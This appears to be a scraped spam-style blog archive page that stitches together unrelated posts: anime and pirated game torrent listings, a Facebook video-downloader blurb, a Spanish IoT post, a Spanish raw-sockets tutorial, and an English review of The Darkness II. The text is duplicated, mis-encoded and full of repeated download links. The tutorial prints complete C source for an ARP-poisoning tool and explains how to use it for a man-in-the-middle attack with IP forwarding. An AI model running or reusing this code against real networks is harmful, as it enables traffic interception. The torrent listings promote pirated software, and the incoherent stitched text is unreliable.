Showing posts with label ii. Show all posts
Showing posts with label ii. Show all posts
Saturday, September 23, 2017
Strike the Blood II OVA 1 – 2 Subtitle Indonesia
Strike the Blood II OVA 1 – 2 Subtitle Indonesia
Video Downloader for Facebook Application allows you to download videos from you facebook then you can play them offline.
You should login to your facebook account using our app and browse your pages normally. Once you like a video and wanted to play it offline at future, then Video Downloader for Facebook comes to help you in downloading and saving the video in your mobile.
Main Features:
* Browse facebook page like original facebook app.
* Download videos from any page, even the pages that are not liked by you.
* Play video offline using Video downloader for facebook.
* Download video in background.
* Favorite list.
* Download list.
* Delete unwanted video files to manage and free your storage.
* Share video using whatsapp, facebook messanger, and facebook lite. Also you can share it using other social networks like twitter, instagram, Tango and Snapchat.

You should login to your facebook account using our app and browse your pages normally. Once you like a video and wanted to play it offline at future, then Video Downloader for Facebook comes to help you in downloading and saving the video in your mobile.

* Browse facebook page like original facebook app.
* Download videos from any page, even the pages that are not liked by you.
* Play video offline using Video downloader for facebook.
* Download video in background.
* Favorite list.
* Download list.
* Delete unwanted video files to manage and free your storage.
* Share video using whatsapp, facebook messanger, and facebook lite. Also you can share it using other social networks like twitter, instagram, Tango and Snapchat.

download file now
Saturday, September 16, 2017
Super Puzzle Fighter II Turbo HD Remix 2007 JTAG RGH XBOX 360 Download Torrent
Super Puzzle Fighter II Turbo HD Remix 2007 JTAG RGH XBOX 360 Download Torrent
Super Puzzle Fighter II Turbo HD Remix (2007) JTAG/RGH XBOX 360 Download Torrent

Ficha T�cnica
Titulo do jogo: Super Puzzle Fighter II Turbo HD Remix
Ano de lan�amento: 2007
Idiomas: Ingl�s
G�nero: Puzzle
Desbloqueio: JTAG/RGH
Tamanho: 95 MB
Formato: GOD
Plataforma: Xbox 360

Sinopse:
m dos jogos de quebra-cabe�a mais populares de todos os tempos est� de volta com gr�ficos de alta defini��o, efeitos elementares deslumbrantes e um novo modo de jogo X �reequilibrado! Super Puzzle Fighter II O Turbo HD Remix re�ne os personagens de luta mais bonitos da Capcom para fornecer uma grande adic��o.

V�deo
Download

Se Voc� Gostou Compartilhe Comente
download file now
Friday, September 15, 2017
Torchlight II – PC
Torchlight II – PC
O RPG de a��o premiada est� de volta, maior e melhor do que nunca! Torchlight II leva voc� de volta para o peculiar mundo, fast-paced de monstros sanguin�rios, tesouros abundantes e segredos sinistros � e, mais uma vez, o destino do mundo est� em suas m�os! Torchlight II capta todo o sabor e emo��o do jogo original � ao expandir o mundo e adicionando os jogadores disp�e de mais queria, inclusive on-line e LAN co-op multijogador. Torchlight II � r�pido, divertido e cheio at� a borda com a a��o e saque. Solo de Aventura ou on-line com seus amigos!
Informa��es sobre game :
Fabricante: Runic Games
Estilo: Aventura/ A��o/ RPG
Ano de Lan�amento: 2014
Tamanho: 1.58 GB
Idioma: Ingl�s
Imagens do game :
Download por torrent
download file now
Labels:
–,
ii,
pc,
torchlight
Thursday, September 14, 2017
Empujando a Latch fuera de Matrix II Microlatch y el Internet de las cosas
Empujando a Latch fuera de Matrix II Microlatch y el Internet de las cosas

"Latch es un servicio en la nube para que los usuarios pueden crear pestillos digitales para poner a sus identidades digitales, y que les permita poner ON/OFF las cuentas con tan solo hacer clic en la identidad que quiere desbloquear o bloquear cuando la vaya a utilizar. "
La �ltima vez que escrib� sobre Latch fue por el 2014 y os trajimos un hack en el cual hac�amos varios usos de este servicio, para "Lachear" medios f�sicos...
Muchos proyectos he visto desde entonces, algunos brillantes... Tambi�n Eleven Path empez� a fomentar el "maltrato o uso loco" de su servicio con Latch Plugin Contest donde he podido ver usos de este servicio verdaderamente interesantes.....(siempre he querido participar pero siempre perd� la oportunidad de apuntarme, se me escapaban los plazos.....soy mu desastre para las fechas).
Pero nosotros vamos a ir un poco m�s all� (estamos m�s locos), cierto es que bajo la misma premisa pero con un hardware mucho mas minimalista... y con much�simas m�s posibilidades dado su reducido tama�o.
Pues por aquel entonces me rondo una idea la cabeza "y si construyera un peque�o dispositivo aut�nomo, no mas grande que mi pulgar, muy barato de construir (2 o 3 �), capaz de conectarse ala red ,con el cual poder Lachear cualquier cosa???"......
Y cuando digo cualquier cosa es cualquier COSA....el coche (o su bomba de combustible), la puerta del garaje, mi robot de cocina, el tel�fono, la puerta de mi casa, una central nuclear, mi router, la electrov�lvula de mi vecino..el encendido de la moto..el control de acceso de la oficina...etc etc....CUALQUIER COSA..(el�ctrica...no podemos "lachear" una oveja)....bien como un vector extra de seguridad o simplemente como dispositivo a distancia...

De momento el software esta en fase de desarrollo aunque ya he resuelto las principales pegas (a ver el tiempo que me dejan) pero en breve tendr� algo decente.. y divertido..
Os emplazo a una segunda entrada en la cual entrare mucho mas en detalle...y veremos como fabricarnos un Microlatch.
Un saludaco.
PD: Pediros perd�n a vosotros y al blog por todo este tiempo AFK, que he ando mas liado que la pata un romano.
https://github.com/Hackplayers/Micro-latch/wiki
download file now
Thursday, September 7, 2017
En crudo y sin censura RAW SOCKETS II en C
En crudo y sin censura RAW SOCKETS II en C

Bueno como promet� en la entrada anterior vamos a ver el ejemplo que os dej�, vamos a ver las partes importantes de Sockets Raw, y a�adiremos o modificaremos el c�digo para conseguir un ejemplo m�s vers�til...
Al lector: si incurro en cualquier error a lo largo de estos post agradecer�a vuestras correcciones.
Como primer ejercicio quiero que le ech�is un vistazo m�s a fondo al c�digo que est� debajo de este p�rrafo, y le�is los comentarios donde a grandes rasgos explico el funcionamiento del ejemplo que os dej� la semana pasada, si no entend�is nada (nadie dijo que programar para sockets fuera a ser f�cil), no agobiarse, basta con echarle un ojo para que cuando explique la teor�a os suene por donde cae en el c�digo:
#include <stdio.h>//libreria estandar
#include <stdlib.h>//libreria estandar
#include <unistd.h>// close(sock)
#include <string.h>//biblioteca standar
#include <netinet/if_ether.h> //estructuras ethernet arp headers
#include <net/if.h>// sockets interfaces locales
#include <sys/socket.h> // encabezado de sockets principales
#include <arpa/inet.h>//definiciones de las operaciones de Internet
#include <netpacket/packet.h>// struct sockaddr_ll
#include <net/ethernet.h>//id protos ethernet
#include <signal.h> //signal(SIGINT, cleanup);
#define IP4LEN 4 //define la
#define PKTLEN sizeof(struct ether_header) + sizeof(struct ether_arp)
int sock;
void usage() { //funcion para mostrar el help del programa por pantalla
puts("usage: ./arp-poison <interface> <gateway ip> <mac addr>");
puts("ex: ./arp-poison eth0 10.1.1.1 aa:bb:cc:dd:ee:ff");
exit(1);
}
void cleanup() { //utilizaremos esta funcion para cerrar el socket
close(sock); //mediante la funcion close() de <unistd.h>
exit(0); //la funcion no retornara valor alguno
}
main(int argc, char ** argv) {
char packet[PKTLEN]; //definimos la longitud del paquete a la suma del la cabecera ETHERNET+ARP
struct ether_header * eth = (struct ether_header *) packet; //declaramos la variable eth y la apuntamos
//a struct ether_headder del paquete (<netinet/if_ether.h>)
struct ether_arp * arp = (struct ether_arp *) (packet + sizeof (struct ether_header)); //igual que el anteriot pero
//ether_arp para poder meter
//mas tarde valores.
struct sockaddr_ll device; //<netpacket/packet.h> hacemos que int sll_ifindex;apunte a nuestra variable device
if (argc < 4) {//si los argumento pasados para lanzar el programa
usage();
}//son inferiores a 4 lanzamos la funcion usage()mostrando asi la ayuda
sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP)); //declaramos el socket con su familia,
//tipo raw,protocolo. htons()convierte el entero corto sin signo hostshort desde el orden de bytes del host al de la red.
if (sock < 0) //si no se crea el shocket llamamos a exit()
perror("socket"), exit(1);
signal(SIGINT, cleanup);
//RELLENAMOS LAS ESTRUCTURAS
//recogemos la mac del argumento 3 (hexadecimal)
//y se l pasamos a la structura ARP concretamente arp_sha[ETH_ALEN];/* sender hardware address */
// de la libreria <netinet/if_ether.h> sin signo
sscanf(argv[3], "%x:%x:%x:%x:%x:%x", (unsigned int *) &arp->arp_sha[0],
(unsigned int *) &arp->arp_sha[1],
(unsigned int *) &arp->arp_sha[2],
(unsigned int *) &arp->arp_sha[3],
(unsigned int *) &arp->arp_sha[4],
(unsigned int *) &arp->arp_sha[5]);
//recogemos la ip pasada en el argumento 2 (decimal) a arp_spa <netinet/if_ether.h> entero
sscanf(argv[2], "%d.%d.%d.%d",(int *) &arp->arp_spa[0],
(int *) &arp->arp_spa[1],
(int *) &arp->arp_spa[2],
(int *) &arp->arp_spa[3]);
///////
memset(eth->ether_dhost, 0xff, ETH_ALEN);//bcast destination eth address */>/a la structura ethernet
memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN);//* "source ether addr" a structura etherne y a" hardware address" struc_arp
eth->ether_type = htons(ETH_P_ARP);
//pasamos el al heather ethernet el valor ETH_P_ARR
//de if_ether.h " ETH_P_ARP 0x080 Address Resolution packet */"
arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER);
arp->ea_hdr.ar_pro = htons(ETH_P_IP);
arp->ea_hdr.ar_hln = ETH_ALEN;
arp->ea_hdr.ar_pln = IP4LEN;
arp->ea_hdr.ar_op = htons(ARPOP_REPLY);
memset(arp->arp_tha, 0xff, ETH_ALEN);
memset(arp->arp_tpa, 0x00, IP4LEN);
memset(&device, 0, sizeof(device));
device.sll_ifindex = if_nametoindex(argv[1]);
device.sll_family = AF_PACKET;
memcpy(device.sll_addr, arp->arp_sha, ETH_ALEN);
device.sll_halen = htons(ETH_ALEN);
puts("press ctrl+c to exit.");
while (1) {
printf("%s: %s is at %s ", argv[1], argv[2], argv[3]);
sendto(sock, packet, PKTLEN, 0, (struct sockaddr *) &device, sizeof(device));//mandamos los paquetes
sleep(2);
}
return 0;
}
Se que promet� no ponerme en rollo t�cnico, pero para empezar con sockets al menos nos deben sonar un par de conceptos cr�ticos... intentar� ser lo mas simple y conciso que pueda...
Encapsulaci�n de datos:
"En redes de ordenadores, encapsulaci�n es un m�todo de dise�o modular de protocolos de comunicaci�n en el cual las funciones l�gicas de una red son abstra�das ocultando informaci�n a las capas de nivel superior".


Un buen s�mil de esto es mandar una carta a un amigo que vive en otro continente; escribes la carta, luego va a el cartero, despu�s al cami�n, que la lleva al avi�n...
Cuando llegue tu carta para que la coja tu amigo debe salir del avi�n, ir a otro cami�n y cogerla otro cartero que se la entregar� a tu amigo.
En el proceso de viaje del paquete por las distintas capas del modelo TCP, los encargados de transportarlas son los protocolos y estos necesitan de unas cabeceras donde se le indique que transportan y donde lo transportan (entre otros datos).
En el caso de SOCK_DGRAM y SOCK_STREAM este trabajo lo lleva a cabo el Kernel, pero amigos, en el caso que nos ocupa SOCK_RAW y como vimos en la entrada anterior "Los campos del Header los deberemos rellenar manualmente, al contrario que si trabaj�semos con otro tipo de socket; el kernel no rellena las cabeceras".
Para hacer esto c�modamente utilizaremos las Estructuras.
�QU� SON LAS ESTRUCTURAS?
Resumi�ndolo un poco: "Las estructuras son colecciones de variables relacionadas bajo un nombre. Las estructuras pueden contener variables de muchos tipos diferentes de datos a diferencia de los arreglos que contienen �nicamente elementos de un mismo tipo de datos".
Para ver esto mucho mas claro vamos a recurrir a nuestro ejemplo examinando un fragmento donde rellenamos las estructura ya programada que utilizamos de las librer�as incluidas en el c�digo:
En nuestro ejemplo, vamos a mandar una trama ARP por la capa de enlace,
el encargado de esto es el protocolo ETHERNET. Para conseguir esto necesitamos la estructura de los Headers ethernet, y la estructura del paquete arp.



Le decimos el tipo de paquete que va a ser ADDRESS RESOLUTION PACKET.
que lo hemos sacado de if_ether.h convirti�ndolo con htons (la funci�n htons convierte a u_short del host en orden de bytes de red TCP / IP si fuese necesario):


A la Estructura ether_arp alojada en <if_ether.h>

Espero que no os est� liando mucho... solo ten�is que quedaros con que las estructuras son una colecci�n de datos, que podemos encontrarlas en las librer�as ya preconcebidas para crear paquetes <netinet.h> y c�mo sacar y meter datos en ellas. ya veremos esto m�s despacio.
�Menuda chapa! vamos a asimilarla con la pr�ctica.
Vamos a dejar por el momento las comederas de cabeza hasta la tercera entrada, y vamos con lo divertido.
Construyendo nuestra primer herramienta
Dije que convertir�amos el c�digo del ejemplo en algo m�s funcional y divertido, vamos hacer una herramienta que nos permita hacer un Man In The Middle.
Si estas leyendo esta entrada supongo que sabras que es un MITM y en que consiste un ataque de falsificaci�n ARP o ARP Spoofing, pero vamos a recordarlo a grandes rasgos.
El principio del ARP Spoofing es enviar mensajes ARP falsos (falsificados o spoofed) a la Ethernet. Normalmente la finalidad es asociar la direcci�n MAC del atacante con la direcci�n IP de otro nodo (el nodo atacado), como por ejemplo la puerta de enlace predeterminada (gateway).
Esta t�cnica de arp spoofing, si se hace de manera bidireccional obtenemos el resultado de un ataque man in the middle.
Es decir el atacante le dice ala red (todos los equipos) o a la v�ctima (ataque dirigido) que es el gateway . El medio del ataque es el envenenamiento de las tablas ARP de los equipos.
Vamos a establecer el escenario:
Supongamos que se da la siguiente situaci�n:

�C�mo conseguimos esto?: mediante paquetes ARP-Reply, en primer lugar a la v�ctima le decimos que somos el router mand�ndole un ARP-reply y diciendo que a nuestra mac le corresponde la ip del router.

El siguiente paso ser� mandar un paquete ARP-reply al router dici�ndole que somos la v�ctima, el protocolo ARP modificar� la tabla Arp del router como hizo con la victima. Podremos interceptar la informaci�n bi-direccionalmente, siempre de manera transparente para la victima siempre y cuando tengamos activado el IP forward en nuestro equipo (echo 1 > /proc/sys/net/ipv4/ip_forward).
Y �c�mo podemos manipular los paquetes ARP? pues chatos: con SOCK_RAW!
Pero esto ser� en la siguiente entrada..
Un saludo
Manuel
download file now
Friday, March 13, 2015
The Darkness II

The Short
Pros
- Same violent, dark, comic book adventure of the original
- New cell-shaded graphics look very good overall
- "Quad wielding" the tentacles and guns is much more responsive than The Darkness
- The world between life and death is better realized/less weird than the first game
- Upgrade tree allows for tons of customization
- Darkling management has been improved to have just one "always on" Darkling
- Four-player co-op multiplayer in the vein of Left 4 Dead
- One of the most fast paced, responsive, visceral shooter Ive ever played
Cons
- Takes much of what made the first game great and abandons it for a corredor shooter
- Completely linear; all the open, breathing world elements have been removed
- Default setting to show "score" after killing enemies is annoying, but it can be turned off
- Swearing is gratuitous to the point of absurd
- Bosses are uninspired
- Brian Bloom is not Italian, and his fake accent as Jackie slips frequently
- Storys ending is unsatisfying, corny, and doesnt offer much closure
- Probably one of the most violent, gory games Ive ever played, which can turn a lot of people off
- While The Darkness in spirit, it loses the core of what made the first game such a cult classic
![]() |
The Darkness is back, and more violent than ever. |
The Long
The Darkness was a game that came out of left field, and saw most of its success in the years post-release. A bizarre mixture of comic book supernatural powers, the Italian mob, shooters, and an open-world game, The Darkness didnt do any of these things particularly exceptional, but ended up being much more than the sum of its parts. It is rare that games like these see any sort of sequel at all, considering how it only sold moderately well despite both critical and fan acclaim. When I heard The Darkness II was coming out I was super excited, despite the game being made by a new developer. We were getting more Jackie and Mike Patton as The Darkness, which I was certainly ready for. The graphical shift and improved controls looked fantastic, the game violent and still heavily story-driven.
Now, five years later, we finally can continue Jackie Estacados dark adventure. So is it a worthy successor?
![]() |
I guess somebody watched Alien a few time before designing these executions |
The Darkness II sees a massive improvement over The Darkness in terms of both controls and what you are able to do with the Darkness powers. In the first game, you only had essentially four Darkness powers, and only one could be equipped at a time. They were all cool but sometimes felt like you were limited considering you were supposed to be essentially a demi-god. Well, The Darkness II addresses this head on.
They coined it "quad-wielding," which might be a little much but is fairly accurate. You can duel-wield guns, with the usual left trigger firing the left gun and right trigger the right. Then you have your Darkness powers. To put it poetically, "Ive got mah left one for grabbin and my right one for slashin." Left-shoulder does everything with grabs and tosses (be it objects in the environment, doors that need to be ripped out, or even people to be grabbed and executed), and right-shoulder does a slash (defaults to left-right, but can be done up-down with a flick of the right stick).
![]() |
And sometimes they work together to brutally murder people. |
Its a system that quickly becomes second nature, and also frees up the control pad. You then have a standard reload and jump button (X and A), and the last two face buttons are set to rechargable powers (a gun-boost and an area stun). It might be tricky at first, but before long youll be grabbing people while shooting another one, and slashing at a third before executing the guy you picked up a while ago. The game also has a clear indicator for what and who can be grabbed, which is nice.
You are considerably more powerful in this game, to the point of absurdity. In the first game you still took out tons of dudes (mostly thanks to Black Hole, which has been changed to a random pick-up during the standard heart-eating affair) but felt at least a little vulnerable. In this game you really really feel like a god. If you stagger an enemy youll get a grab, and if you grab them you can always insta-kill them. Insta kills also can net you health, ammo, or a shield, as an added bonus. Two or three hits with the right slash can knock enemies into the air and completely obliterate them, and be upgraded to do area smashes. Its insane how quickly you burn through standard grunts, grabbing everything from chairs to car doors to long poles to tear people to pieces.
![]() |
Multitasking quickly becomes second nature, and the versatility makes nearly every encounter a blast. |
These improvements are paired with an new upgrade system. Killing enemies, eating hearts, shooting out lights, or pretty much anything productive earns you dark essence, which you can spend on upgrading your Darkness powers, guns, and just about everything else. Many of these abilities are quite cool, such as eating a heart temporarily putting blades on your tentacles, to full body armor for when you are standing in the dark.
There is a downside, though. By default, killing enemies pops out the "name" of how you killed them, paired with a "score" (the soul essence you burned). It reminds me a lot of Bulletstorm, but in that game it made sense in the context of the story. In The Darkness II it just seems stupid, like a bunch of words and numbers just showing up to accompany every kill. Luckily you can turn this off, which I highly suggest doing before you even start up the game.
The game isnt a cakewalk, though it is easier than the first one, even on the hardest difficulty. The enemies you are fighting in this game are aware of your Darkness powers and weakness to light, and they plan accordingly. You have characters carrying around high-beam lights to cause your Darkness powers to wane, flash-bang grenades, enemies with shields, and teleporting enemies that cant be grabbed as easily as others. The teleporting enemies are super-obnoxious and can take a while to kill, but the rest provide a good foil to your powers and keep you from just ripping through everything without difficulty.
There is a downside, though. By default, killing enemies pops out the "name" of how you killed them, paired with a "score" (the soul essence you burned). It reminds me a lot of Bulletstorm, but in that game it made sense in the context of the story. In The Darkness II it just seems stupid, like a bunch of words and numbers just showing up to accompany every kill. Luckily you can turn this off, which I highly suggest doing before you even start up the game.
![]() |
The new batch of enemies do well to counter your newfound prowess |
The game isnt a cakewalk, though it is easier than the first one, even on the hardest difficulty. The enemies you are fighting in this game are aware of your Darkness powers and weakness to light, and they plan accordingly. You have characters carrying around high-beam lights to cause your Darkness powers to wane, flash-bang grenades, enemies with shields, and teleporting enemies that cant be grabbed as easily as others. The teleporting enemies are super-obnoxious and can take a while to kill, but the rest provide a good foil to your powers and keep you from just ripping through everything without difficulty.
I also really dig the new, improved graphics. A lot of people complained because the new graphics were "comic booky" cell-shaded rather than the plastic, "realistic" look of the first game. I think it looks fantastic, especially the use of vibrant colors frequently. It is a sharp contrast with flash effects, and I think it looks fantastic. Aside from some small niggles (what happend to Jackies hair? It looks like a plastic wig!), the graphics are game.
The same cant be said for the voice acting. Jackie was replaced with Brian Bloom. Now, Brian Bloom is a great voice actor, one of the best. But he isnt Italian, and this sort of gruff, dark, world-weary character isnt his usual gig. His accent sounds fake at best, slips frequently, and just doesnt match the caliber of the original actor. Its fine, but inconsistant. The rest of the voice cast is very good, so as a whole I cant complain too much.
![]() |
Bladed-tentacle looks awesome. |
Despite this being a very solid game, there is one major problem I had with it: its a linear, corredor shooter. You simply go from point A to point B, killing everybody along the way, and then often fight a lame boss after a few chapters. Sometimes you are dropped off at your mansion for a bit of "open worldly" elements that essentially boil down to walking around and talking to people before going to the next mission. There are also no such thing as side-missions, no side jobs to complete, no side-stories, nothing of that sort. You have a single goal, and you move forward to accomplish it. While the open-world elements from The Darkness were hardly the best open-world bits from any game, they made it unique and cool. Cutting them makes this feel less like the first game and more like a Call of Duty with tentacles.
The story is also considerably weaker this time around. It tries its damndest to invoke the emotional resonance that stuck with fans of the first game (the "Jenny" scene from the first game is probably one of the most shocking in any game I can think of), and the new enemies are technically more imposing than Uncle Paulie from the first game, but as a whole it hardly stuck with me nearly as much as The Darkness had. Perhaps the linearity made my investment in the world less, or perhaps the fact that we are no longer dealing with the origins of the Darkness makes it less interesting, or perhaps because the ending is so completely stupid and predicable but still lame Im just left thinking that something went wrong here. Im not looking for a particularly deep experience, but it seems like the creators of this sequel played The Darkness, figured out most of what made it good, but missed the part where it was all the little things that resonated. Picking and choosing these bits (story and gameplay) works to a point, but it makes it less special and more generic.
![]() |
The loading screen monologue segments are back, and they fit in better with the story chronologically |
The game also has a new multiplayer mode which is neat in concept, but a little bland in execution. Essentially a ton of co-op missions, you can get up to four friends ala Left 4 Dead style and blast your way through a bunch of dudes and shoot out some lights to win. You play as four characters that apparently have been touched by the Darkness but dont have its full power, meaning it isnt nearly as fun as the main game but I suppose they had to do that for balance. The missions themselves tend to be of the "clear out this area of bad guys" variety, over and over again, which is fun for the first bit but gets boring quite quickly. The four characters are unique and have their own skill trees, which is nice, but this diversion probably wont last you very long before you get bored of it.
Which is actually pretty bad, because the single-player story is short. I beat it in a single afternoon, from 1:00 - 5:00 pm. You do get a New Game + mode, which is awesome, so I started it over again on the hardest difficulty for a second run, which will probably add me another five odd hours, counting what I spend in the multiplayer. But considering you can beat this game and be done with it in four hours, as a value proposition this is pretty bad. The Darkness was 10-20 hours long and the majority of those hours were fun. The Darkness II is four, and its a total thrill-ride the entire time, but it still seems to end just when the momentum is picking up.
![]() |
The Darkness II isnt a bad sequel, just an uninspired one. |
The Darkness II is not a bad game. It just isnt a real sequel to 2007s The Darkness. Most of what made the first game unique and special has been stripped away, and while what it has been replaced with is excellent, it lacks a soul. The four to five hours youll spend slicing, grabbing, ripping, and shooting your way through hundreds of enemies is an absolute blast, and I couldnt recommend it more. But its over too soon, the multiplayer offering is mediocre at best, and for those invested in the characters and the world wont find much here to grab a hold of. The Darkness II is an insane, awesome game. It just couldnt live up to the magic of its predecessor.
I still really suggest picking it up if you liked the first game and enjoy shooters, or if you simply like extremely fast paced, visceral shooters that try something new while still being familiar. Its certainly some of the funnest four hours Ive spent in the past several months, I just wish there was more to it (both content-wise and design-wise). If you can grab it for $20-30 and like the first game, you should grab this for sure. However, I really think everybody should rent it. I got it for free for one day from a Redbox promotion, and got my fill of it in a single weekend.
When weighing both its flaws and improvements, Im thinking a three out of five is a fair rating for The Darkness II. I dont like it as much as the first game, but its a different kind of like, regardless. If you are a shooter fan or a Darkness fan, this should be a no brainer.
Besides, Mike Pattons voice acting is still awesome as The Darkness, so you could get it just for that.
![]() |
"Jackie..." |
Subscribe to:
Posts (Atom)